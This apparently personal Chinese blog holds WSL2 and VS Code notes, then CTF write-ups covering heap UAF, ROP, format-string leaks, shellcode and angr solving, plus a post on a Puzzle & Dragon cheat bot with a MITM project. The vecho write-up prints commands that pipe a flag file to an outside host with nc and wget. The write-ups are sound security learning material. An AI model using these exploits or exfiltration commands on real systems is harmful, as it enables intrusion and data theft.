在 Windows 環境中舒適的開發

WSL2

繼 WSL 1 後,Windows 決定直接在 Windows 中加入 Linux Kernel 提供更全面的開發環境相容,也能夠支援原本 WSL 1 無法支援的 syscall 像是 ptrace 等等,原理是使用 MS 自己的輕量虛擬技術,也就是 MS 自己管理了一顆 linux kernel 再跑,運行時會先吃掉一些 memory, 不使用時可以用 wsl --shutdown 關掉。更好的是不用開啟 HyperV Component 就能使用。

目前的 windows insider program 已經有 preview 版的 WSL2 可以使用,檔案系統速度提升有感,不過必須要是在 wsl2 的 rootfs 裡面,若存取 /mnt/ 速度反而會變慢

可以透過 \\wsl$\Ubuntu\home\ 或是直接在某個資料夾中執行 explorer.exe . 打開 windows 的 GUI 存取檔案,不得不說 windows 的 GUI 真的很棒棒

大致上用起來很順,不過因為是 preview 版本,目前還有待改進的如下:

  • 網路存取,目前必須用動態內網 IP 存取 WSL2 裡面跑的 service Ref
  • 曾經多次遇到運行 wsl 無法進入 /mnt mount 的資料夾,可能是 mount windows drive 失敗,目前可以透過重開 wsl --shutdown 來解決

VSCODE with Remote WSL

VSCODE 最新 stable 提供了 remote development 功能,原理是在遠端機器中跑一個 vscode remote server,而原本的 windows 端 VSCODE 變成主要提供 GUI 介面

這真的是 windows 開發者一大福音。

有許多 plugin 使用的 script engine 原本是要吃系統的,也就是說就算使用 wsl 也必須在 windows 安裝一份,同時也會遇到許多 windows 特有的 bug,使用 remote dev 把 vscode core 放進 wsl 後 extension 等會使用到額外 binary 的都可以直接跑在 linux 中

另外一個原本很大的問題是 debugger 再使用 terminal 跑 nodejs debugger mode 時會跟 integrated wsl terminal 衝突,無法直接跑起來,只能用 remote attach 暫時解決

支援 remote develop 後很多問題都解決了,目前還有遇到的問題像是 file list sync 有時會不靈敏等等,也比上面阻礙的問題小很多了

搬家

最早覺得自己管理有點麻煩,從 hexo 搬到 logdown, 結果好像跟某人有關的創業都炸了,只好再搬回來,不過好久沒東西可以 PO 了,畢業後過了一整年半社畜生活 ORZ。

AIS3 2016 pre-exam

MISC

1pt

直接給 flag

2pt

用 xxd 看可以看到 header 有 7Z

修正成 7z 後用 7z l UNPACK_ME

可以確定是 7z file with password, 包非常多層的 7z compressed file

看到有個 size 0 檔名亂數的檔案 當作密碼可以解開第一層 7z

之後每一層都有 secret.txt 裡面有下一層的密碼

寫個 script 跑 總共有 1000 層

3pt

讓你打包一個 guess.txt 檔案上傳 server 用 sha1 檢查 hash 跟 flag 是否一樣

傳一個 symbol link link 到 flag 身上即可


CRYPTO

1pt

xor 加密找加密 key

觀念是嘗試不同的 key 長度 一個一個 byte 去解密 讓他整個檔案出來是 printable

線上工具

2pt

這種讓你提供輸入但是要附上輸入的 hash 有種攻擊叫 length-extension attack

有類似題目的 script

後面 append 合法的 expire 即可

3pt

好像叫做 Batch GCD Attack

就是 rsa 的 n 共用到同一個植樹的話用 GCD 可以很容易質因數分解出 n

但這題目裡有很多組 n 可以被分解 所以都要試試看

另外是這一題的 exponent 不適常用的 65537 這一點我很後面才發現

以後要先讀清楚 key 資訊

openssl rsa -noout -text -inform PEM -in pub/1.pub -pubin

Exponent: 179424787 (0xab1ce13)


BINARY

1pt

直接上 angr

2pt

這一題轉成 binary file 後用工具看 開頭挺誤導的 還以為是要轉換順序之類的

後來隨便 google 一下裡面的 bytes 查到 asm opcode 立馬開 ida 把 binary file 解成 asm code

發現是 xor 解密的 asm 手動就能解開了

3pt

一樣上 angr (稍微會用 angr 之後都不用動腦了呢)


REMOTE (pwn)

1pt

用 time(0) 去 srand ,只要和 server 時間差不超過一秒的得到的 rand() 序列會相同

2pt

常見的 scanf 錯誤,參數直接傳入變數而非變數地址

由於 stack 中的殘渣內容會在前面的動作決定,所以可以控制變數內容,直接對GOT地址寫入噴FLAG的地址

推薦使用 qira 可以很快找到 stack 內容變化跟偏移

3pt

不用碰到 libc 的 heap 題,用 checksec 檢查會發現沒有開 NX , 估計是能用 shellcode ,玩一下程式,功能大致如下

  • 一開始有讀入 .bss buffer 可以塞東西
  • student struct 內有 function pointer
  • note malloc size 可控
  • note point 存在 array 中,能 free pointer

一開始的 buffer 是在 bss 上面地址已知,可放入 shellcode ,之後跳 bss 地址即可。

接著找找看 bug, 發現在 free note 之後並沒有將 note array 中 entry 清空,可能導致 UAF, double free 等等問題

因為 student 中有 function pointer, 嘗試將兩個 struct 重疊然後直接寫入 function pointer 到 bss 上面。

這邊倒推想一下:

目標為覆蓋 current_student 上面的 function pointer => 寫入 note 時改寫到 pointer

讓 note struct 疊合 current_student ,首先看一下 note create 是 malloc 出 note buffer 後直接寫入內容 => 必須讓 note malloc 出current_student的位址(或重疊的地址)

為了讓 malloc 出 current_student 的位置,首先 malloc 的 size 要跟 student 一樣,而且 student 那一塊 chunk 要是 free 的

然而並沒有 free student 的功能, 所以先建立並馬上釋放一個 note , size 跟 student 一樣,如此一來 notes array 第一個格子就是 heap 下一次 malloc 同樣 size 會被拿出的 pointer

然後建立 student ,這時 current_student 會跟 notes array 第一格相同,也就是剛剛 free 掉的地址

接著為了要讓 note malloc 再度拿出相同的地址,必須要再 free 一次第一個 note, 因為此時這個 pointer 是被 current_student 使用的

free 完後再 create note with same size 馬上又會拿出和 current_student 相同的 pointer

對此 note 寫入即是覆蓋 student struct

改寫 function pointer 後選 menu 2 Show a student 會 call function pointer 指向的地方


WEB

1pt

robots.txt

2pt

header 偽造 src ip

以下都設定為 127.0.0.1

`HTTP_X_FORWARDED_FOR

HTTP_CLIENT_IP

HTTP_X_FORWARDED

HTTP_X_CLUSTER_CLIENT_IP

HTTP_FORWARDED_FOR

HTTP_FORWARDED`

3pt

講一下找 function bug 想法

首先可以下載 php source, p=../download.php 看到裡面有 include waf.php,

waf.php 使用字串解析把 url 的 query 不分拆成 key=>value 然後對黑名單驗證,

由於有用 file_exists 檢查檔案名稱,無法在檔名部分塞東西或編碼,

仔細看一下 waf.php 做的事情跟從 $_GET 取值檢查有87%像,特別自己分析大概就是分析的地方有問題,

比對部分有用 === 所以不是 PHP 常見的比較問題,接著就開始朝 php function bug 部分 google。

發現用 parse_url bug google 可以發現各種歷年來的 BUG ,將時間限定一年內可以在前幾筆看到 這一篇

於是用 ?p=../flag.php&a=ss:88888 便可以拿到 flag

DEFCON Qualifier Reverse amadhj by angr

題目

比賽時用 python 重寫各個 function,然後嘗試用 z3 解,但不知為何,每個 char 加上限制後 check 都 unsat 。

賽後 lays 大大研究了 KLEE 的解法 link

因為最近在看 angr ,就用 angr 試著解解看此題

這題看起來就是標準 symbolic solve 題

有個主要的 check function 參數是一 32 bytes buffer

在 check function 裡 read(0, buf, 32)

input 32 bytes, 分成 4 * qword 丟到 4 個function 算一算後 xor 再一起,與 const 比對,檢查結果

![](http://user-image.logdown.io/user/14835/blog/14031/post/736942/9PCynJuIRGy3wYbIy4wp_TT.png)

解題

angr 底層也有用 z3 當 solve engine , 所以最重要的是讓 angr 把 constrain 建立起來

透過兩個 angr example 可以發現有沒有指定 symbolic symbol 的大小,速度差很多

baby-re solve1

baby-re solve2

試著用 hook read 方式指定 sybolic symbol

def patch_read(s):
    global concated_str
    print 'patch'
    t = []
    for i in range(4):
        inp = s.se.BVS('usr_input', 8*8) # QWORD
        s.memory.store(s.regs.rsi+8*i, inp)
        t.append(inp)

gsss.append(claripy.Concat(*t))
return

state 從 check function 開始跑

指定好 find(compare success), avoid(compare fail) 後,剩下的就交給 explorer 去跑

def exp():
    global concated_str
    path = b.factory.path(state=s)
    ex = b.surveyors.Explorer(start=path, find=(0x040287F,), avoid=(0x0402886,), enable_veritesting=True)
    ex.run()
    if ex.found:
            print "found"
            for ss in concated_str:
                print ex.found[0].state.se.any_str(ss)

-重要的是 check function 的參數要固定, hook 的 symbolic symbol 才會放在對的地方

b = angr.Project('./amadhj')
b.hook(0x4026FD, patch_read, length=5)
s = b.factory.blank_state(addr=test_func)
s.regs.rdi = 0x1000 # make sure symbolic symbol at same location

或者是可以直接在 state 裡面放 symbolic symbol 然後讓 check function 的參數指過去,這樣的話 hook function 直接 return 即可

python script

跑約十幾分鐘會有結果

DEBUG   | 2016-06-12 13:11:09,750 | angr.surveyors.explorer | Avoiding path <Path with 738 runs (at 0x402886)>.
DEBUG   | 2016-06-12 13:11:09,752 | angr.surveyors.explorer | Done because we have no active paths left!
found

A PrFURjDMboQJ ScKvoH cDl BQDqp

angr docs

ADL CTF 2015 - SimpleEcho2

題目

這一題延續 project1 題目: SimpleEcho

改成本身實作 socket server 由 fork 出的 handler function echo

![](http://user-image.logdown.io/user/14835/blog/14031/post/369965/yKegIfCBTfCWkvsvAKkG_Q.jpg)

這題是 x64 的 binary, calling convention 有一些參數是放在 register 在 rop 時要特別注意

漏洞一樣是在 buffer 大小比 read 長度限制還小 這題有開各種保護

![](http://user-image.logdown.io/user/14835/blog/14031/post/369965/EHIWyt5HQjmyAVzfZHqL_Q2.jpg)

要進行ROP首先要能控制 ret adr, 再有 canary 保護之下控制 ret adr 要先能把 canary 蓋回去

拿 canary 的方式跟 SimpleEcho 一樣 先把 buffer 塞到 canary 的第一個 byte (經觀察都是 0 要避免截斷) 之後 echo 出來的內容就有 canary

過程

接下來還有一些要克服的問題

1\. 有開 PIE 要拿到 binary load base 必須先拿到相對 offset
  1. 題目 IO 是用 socket 連接 也就是 stdio 並沒有被 redirect to 我們建立的 socket
  2. payload 的長度還是受到 read size 的限制 (256)

第一點用 overflow echo 回 EchoServer 的 ret adr 便可以算出 loading base

能 overflow 到的地方都沒有 libc 相關的 address, 只好透過讀 got 拿 libc base 出來。

拿的方法是用 rop ret to sendMsg, socket fd 在 stack overflow 的到的地方,把 got 內容 send 回來

因為 service 是 fork 出來的 所以每次連 libc, loading base 都會固定,所以我由 exit ret to ROP chain 拿到 base adr 後直接 reconnect

接著我原本想直接 ret to system, 或 rop syscall execv 甚至真的把 payload 都寫出來了,但 shell 只能開在 host 上,原因便是上面第二點

這邊我打算 got hiject strlen 讓 host 收到 input 直接當 cmd 跑

理論上直接寫入 got 就 OK 但我寫入時一直 Seg fault, 看一下 maps 竟然沒有 write

![](http://user-image.logdown.io/user/14835/blog/14031/post/369965/8zud3K3RRAHMZSLO4Ncw_G3.jpg)

只好先 rop mprotect 修改,再 hiject 這過程又會碰上第三點的問題 只好第一段 payload 最後先 ret 回 EchoServer 再送第二段

完整 pwn python script

https://gist.github.com/leepupu/338503f2465a7c28c54e

CSP CTF pwn 40 - vecho

題目

這題是一個 socket server,連線進來 frok handler 不斷 echo input 回去

echo 的東西是 input sprintf 出來的 有 fmt 洞,但擋掉了 ‘n’ 也就是不給寫入

解這一題走了許多彎路,花了超久,但也因此用了一些沒用過的 pwntools 工具: DynELF

handler function:

![](http://user-image.logdown.io/user/14835/blog/14031/post/379583/uWMiX4rVSymDLciIOvoe_vecho2.jpg)

echo function:

![](http://user-image.logdown.io/user/14835/blog/14031/post/379583/LjQXY06QSuuNho6K3GwY_vecho1.jpg)

過程

DynELF

依照 hint, DEP 沒開,還有 overflow 提示,但因為 ADL 那一題的慣性 讓我一直想 hiject strcmp, 所以為了拿 libc 地址,開始研究 DynELF

用法大概如下,其中 ret_of_main 為某一在 libc 中的地址,我是從 stack 中拿 retrutn address of main

DynELF 會先往上找出 loading base, 接著幫你分辦一下 libc ver 然後找出 symbol 地址

d = DynELF(leak, ret_of_main)
system_adr = d.lookup('system', 'libc')

leak 為一個 洩漏任意地址 callback function 因為 fmt buf 在 stack 上,可以拿來利用

要注意的是因為 sprintf 過去的 buf 有可能會 overflow 導至 handler 壞掉, DynELF 卡住 所以要用%xs控制一下讀出的 mem 長度,還有就是讀出來沒東西(‘\x00’)的情況也要處理到。

payload = "%{}$.8sxxxx\x00".format(ped+3)+p32(adr)

完整的 leak function:

def leak(adr):
    if adr < 0x08048000:
        return ''
    global ped, r # pedding in stack point to head of input buffer, and r for remote conn
    # big problem is buffer of sprintf isn't long enought, %s may too long and will crash handler
    # also, sprintf eat input str end of \x00, but address of page align always contains \x00, 
    # to avoid cutting of payload, just put address after fmt payload, recv will still recv to buffer(in stack)
    payload = "%{}$.8sxxxx\x00".format(ped+3)+p32(adr)
    r.send(payload)
    time.sleep(0.02)
    r.recvuntil('Type string to echo back: ')

s = r.recvuntil('xx')
if len(s) == 8: # recv did not contain any mem data
    return '\x00'
rtn = (s[6:s.index('xx')]) # ret of echo is str in format 'Echo: ' + xxx
return rtn

Overflow

First try

YA! 拿到 system address 了。。。 好像不能做啥

GOT Hiject?

%n 被 filte 掉了無法寫入

ret to libc?

嗯。。來試試看,首先 echo 內的 recv buf 並沒有 overflow 的可能, recv 的大沒沒有比 buf 大

char s[64];
。。。
if ( recv(fd, s, 63u, 0) )

回頭看一下 sprintf 去的 buf, 是在 echoServer 的 stack frame 中,大小 128 經過 sprintf 可用 $nc 來 overflow

stack 長這様

![](http://user-image.logdown.io/user/14835/blog/14031/post/379583/z06KrtnT4CwSbjJn0qmU_IMG_20151221_112710.jpg)

要蓋的是 echoServer 的 return address payload 可以長這様

payload = pa_n_c(128-6)+'g'+s_canary[1:]+pa_n_c(0x18+4)+p32(system_adr)+'aaaa'+p32(p_buf)
# aaaa for fake ret of system
send..
payload = pa_n_c(128-6) # overwrite 'g' to \x00
send..

但馬上遇到問題,sock fd 被蓋到 無法再收發 data

如果要把 ‘aaaa’ 改成 fd 又會因為 fd 太小 p32 中有 \x00 導致後面被截斷

這邊卡了許久~

Try again

後來突然想到 hint DEP 沒開,那我還不 ret to stack 跑我精心制做的 asm code, 於是我好興奮地用了 pwntools 的 asm

asmc = "push {}\n"
asmc += "push {}\n"
asmc += "push {}\n"
asmc += "ret\n"
asmc = asm.format(poi_buf, fake_ret, system_addr)

asmc = asm(asmc)

接著是一段漫長的 debug 時光,我用 gdb set follow-fork-mode child 看了許多遍,都正確 ret to system, 同時 esp+4 也 point 到 我給的 cmd, 至少 x/s 出來有

但 cmd 卻始終沒有跑起來 甚至 system 都 return 回 fake_ret 了

想了好久才開始猜是不是 system 把我的 cmd 吃了。。。 嘗試先 add esp

但直接 add esp, 0xN 的 machine code 是把 0xN 以 little endian, dwork 方式包在 machine code 中

只好繞來繞去 避開 machine code 中出現 \x00

inc ecx
inc ecx
inc ecx
imul ecx, ecx
imul ecx, ecx
add esp, ecx

然後就可以塞 cmd 了 一開始用 touch /tmp/xxx 可以 work 後馬上嘗試用 cat /home/ctf/flag | nc x.x.x.x y

想當然爾不能動… 最有問題的是 nc 中有 n …….

還有就是我一開始串的方法是

cmd = code+"cat ...."

也就是 machine code 長度 + 指令長度 不能超過 63(echo 的 buf)

但光是 ip 就至少 15 bytes, path 就 14 bytes, 還要預留 exit 的空間等等 總之就是不夠

所以分兩次塞 先把指令塞到 echoServer 128 buffer 後半部 (%xc+cmd)

再塞 machine code

指令部分改成 wget x.x.x.x:y/?cat /home/ctf/flag

接著又因為 stack 拉不夠遠又把指令吃掉撞牆了一陣子 後來在加一次 add esp, ecx 後終於成功了

大大的解法

根據 meh 大大表示 asm code 跑 dup2(fd, 0) dup2(fd, 1) 就好啦

。。。嗯 原來有 dup2 可以用

Puzzle & Dragon Helper

PAD輔助程式

Puzzle & Dragon 外掛 輔助程式 written in java

斷斷續續開發三年作品 從原始的 awt gui => web ui

嘗試各種算法( Gene Algo, A, BFS) 到持續優化 A

從顏色判定到 OpenCV 也玩得很久了XD

  1. 自動辨識盤面, 適應 45, 56, 6*7 …
  2. 自動計算最佳傷害 (自訂隊伍設定 包刮 2way 隊長技)
  3. 幫你轉
![](http://i.imgur.com/wcJeqR0.png)
![](http://user-image.logdown.io/user/14835/blog/14031/post/307135/MtC1fDBOTJSyjoEnnf9d_TEAM.jpg)

另外還有 PAD MITM Project 可以無限接關 刷掉蛋 關卡替換等等

  • 2015-10-31 更新: 暗版面判斷 對比暗化參數自動適應版面 下波 RANK 地下城試用看看
  • 2016-1-30 更新: 隊伍設定介面
    ![](http://i.imgur.com/lIyVAkb.png)

HITCON 2015 - unreadable [steg100]

題目

Can you read me?

unreadable-4b2868cc26a8dad5695e537a9dd8a164

過程

拿到一隻 binary file 先用 file, binwalk 檢查,都沒結果。

直接用 xxd 看,檔案太大不好看,output 輸出成 file 後用 sublime text 一看

![](http://user-image.logdown.io/user/14835/blog/14031/post/384384/HhsU0aWqS92g3lGdDr8g_QQ%E6%88%AA%E5%9B%BE20151223190807.png)

由許多 unprintable 的 char 當作背景拚出了 flag 的樣子

hitcon{WE USE XXD INSTEAD OF IDA PRO}

TMCTF 2015 Analysis-Offensive 200

Virus Clicker.apk

安裝後打開是點點點遊戲 目標是點 10000000(0x989680) 次

apktool 解開 翻找一下 0x989680 往上看找到 activity/b.smali 中的 onTouchEvent 直接將數字改成 const 0x989680 過不了

仔細看一下有些 magic number, 其中有個 ScoreBroadcastReceiver 裡面也有出現這些數字

點的過程中經過這些數字時會 sendBroadcast 到 Receiver, 讓 Receiver 串接 xor key

同時有看到不同的 component 在串 xor key

所以讓每次點擊變成踩點 onTouchEvent 改成直接經過這些 maagic number

最後是 a/a.smalit 有往 SharedPreferences 寫入實際點擊次數 最後會影響串接的 xor_ky 改成常數(0x989680)即可

用 apktool 包回 apk, signed 後跑起來,點個五次經歷一下檢查點即可得到 flag

Kiwi CTF 2015 - Gaychal [rev80]

題目

I found some suspicious PHP code on my website. The code was attached to my theme’s footer file.

It’s either the DRM of the theme, or a virus; however it’s encoded and I can’t figure it out. Do that for me please :)

Download

一支肥大的 php code

還蠻現實的題目,webshell or backdoor 都會 encode/encrypt 一下,混淆視聽

過程

目標是還原原始的 php script ,是以 eval 被跑起來的,那就一層層的剝開吧、

方法是把 eval 拿掉,印出真正的 code, 但解開第一層後發現裡面是另外一組 eval,想必再更內層也會是這様的模式,不可能手工折。

於是就將計就計,用 php 寫段 script 把每一層的 eval 都拿掉

$a = '.....';
while(strpos($a, 'eval') !== false){
    $a = str_replace("eval", '$a=', $a);
    eval($a);
    echo strlen($a).PHP_EOL;
}
eval($a);

跑到最內層會看到印出

the flag is a8cc6eb651a10688e12779b1558193f8

直接送 incorrect, 這是最後一個 eval 出來的結果,印出這行的 code 想必有東西

把最後的 $a 印出是

echo "the flag is ".md5("5+5=9<-- fix this"),PHP_EOL;

fix 一下就跑出 flag 了

php -r 'echo "the flag is ".md5("5+5=10<-- fix this"),PHP_EOL;'
![](http://user-image.logdown.io/user/14835/blog/14031/post/384209/07ZNEo5fTjiAqtuQvbFd_QQ%E6%88%AA%E5%9B%BE20151223190807.png)